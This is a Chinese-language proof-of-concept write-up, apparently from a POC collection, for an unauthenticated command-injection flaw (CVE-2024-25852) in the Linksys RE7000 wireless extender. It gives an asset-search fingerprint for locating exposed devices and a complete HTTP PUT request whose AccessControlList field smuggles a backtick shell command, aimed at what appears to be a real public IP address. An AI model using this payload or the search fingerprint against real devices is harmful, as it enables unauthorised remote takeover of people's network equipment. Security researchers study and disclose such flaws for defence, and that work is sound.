POC/wpoc/Linksys/Linksys-RE7000无线扩展器RCE(CVE-2024-25852).md

# Linksys-RE7000无线扩展器RCE(CVE-2024-25852)

### 一、漏洞描述
<font style="color:#000000;">Linksys RE7000无线扩展器在访问控制功能点的AccessControlList参数中存在命令执行漏洞。未经身份验证的远程攻击者可以利用该漏洞获取设备管理员权限。</font>

### 二、影响版本
<font style="color:#000000;">Linksys RE7000无线扩展器</font>

### 三、资产测绘
body="/login.shtml?ran="

![1718333560229-60861c15-6d19-413d-86ff-12a39b9c2c6d.png](./img/vv1PxtfgpgbamSsw/1718333560229-60861c15-6d19-413d-86ff-12a39b9c2c6d-984843.png)

界面

![1718333587335-4900165d-3c0a-4a16-8a8f-b793b87f79c8.png](./img/vv1PxtfgpgbamSsw/1718333587335-4900165d-3c0a-4a16-8a8f-b793b87f79c8-026376.png)

### 四、漏洞复现
```plain
PUT /goform/AccessControl HTTP/1.1
Host: 121.137.162.121
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 87

{"AccessPolicy":"0","AccessControlList":"`ip a>/etc_ro/lighttpd/RE7000_www/qqi.txt`"}

```

构造语句进行发送

![1718333420542-224485fe-1557-444d-988e-e192f2531b3a.png](./img/vv1PxtfgpgbamSsw/1718333420542-224485fe-1557-444d-988e-e192f2531b3a-604259.png)访问qqi.txt，这个文件，获取相关信息。

![1718333496307-c39af445-f271-4b7f-838a-d9a88beee01f.png](./img/vv1PxtfgpgbamSsw/1718333496307-c39af445-f271-4b7f-838a-d9a88beee01f-602094.png)



> 更新: 2024-06-23 23:46:34  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/zdaghns0azgvr8ns>